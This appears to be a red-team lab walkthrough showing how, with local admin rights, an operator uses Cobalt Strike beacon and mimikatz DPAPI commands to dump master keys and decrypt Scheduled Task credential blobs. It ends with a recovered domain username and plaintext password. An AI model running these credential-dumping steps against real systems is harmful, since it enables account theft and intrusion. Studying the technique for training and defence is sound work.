Scheduled Task Credentials

Scheduled Tasks can save credentials so that they can run under the context of a user without them having to be logged on. If we have local admin privileges on a machine, we can decrypt them in much the same way. The blobs are saved under C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\.

beacon> ls C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 10kb     fil     08/30/2022 12:42:24   DFBE70A7E5CC19A398EBF1B96859CE5D
 528b     fil     08/16/2022 14:55:28   F3190EBE0498B77B4A85ECBABCA19B6E

dpapi::cred can tell us the GUID of the master key used to encrypt each one.

beacon> mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\F3190EBE0498B77B4A85ECBABCA19B6E

guidMasterKey      : {aaa23e6b-bba8-441d-923c-ec242d6690c3}

sekurlsa::dpapi to dump cached keys.

beacon> mimikatz !sekurlsa::dpapi

	 [00000000]
	 * GUID      :	{aaa23e6b-bba8-441d-923c-ec242d6690c3}
	 * Time      :	9/6/2022 12:14:38 PM
	 * MasterKey :	10530dda04093232087d35345bfbb4b75db7382ed6db73806f86238f6c3527d830f67210199579f86b0c0f039cd9a55b16b4ac0a3f411edfacc593a541f8d0d9
	 * sha1(key) :	cfbc842e78ee6713fa5dcb3c9c2d6c6d7c09f06c

And then decrypt.

beacon> mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\F3190EBE0498B77B4A85ECBABCA19B6E /masterkey:10530dda04093232087d35345bfbb4b75db7382ed6db73806f86238f6c3527d830f67210199579f86b0c0f039cd9a55b16b4ac0a3f411edfacc593a541f8d0d9

  TargetName     : Domain:batch=TaskScheduler:Task:{86042B87-C8D0-40A5-BB58-14A45356E01C}
  UserName       : DEV\jking
  CredentialBlob : Qwerty123